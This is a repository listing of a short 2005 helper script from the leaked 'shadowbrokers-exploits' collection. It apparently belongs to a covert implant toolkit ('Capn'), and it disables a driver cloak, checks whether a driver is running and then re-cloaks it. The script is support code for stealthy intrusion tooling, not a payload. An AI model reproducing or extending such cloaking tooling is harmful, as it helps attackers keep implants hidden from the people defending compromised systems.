shadowbrokers-exploits/windows/Resources/Ep/Scripts/Capn/VerifyRunning.eps
2017-04-14 11:45:07 +02:00

36 lines
No EOL
815 B
PostScript

#--------------------------------------------------------
# File: VerifyRunning.eps
#
# Wrapper script to verify Capn tools are running
#
# Modifications:
# 8/10/2005 Created.
#--------------------------------------------------------
@include "_DriverIncludes.epm";
@include "cloak.eps";
@include "getResDir.eps";
@echo off;
if ($argc != 3) {
echo "Usage: $argv[0] <driverName> <cloaker>";
return false;
}
string $resPath;
getResDirectory($resPath);
ifnot(cloakIt($argv[2], $resPath, "enable")) {
echo "EP couldn't gain uncloaked privileges";
return false;
}
string $driver = $argv[1];
Bool $running = _DriverVerifyRunning($driver);
ifnot(cloakIt($argv[2], $resPath, "disable")) {
echo "WARNING: EP couldn't recloak - proceed with caution";
}
return $running;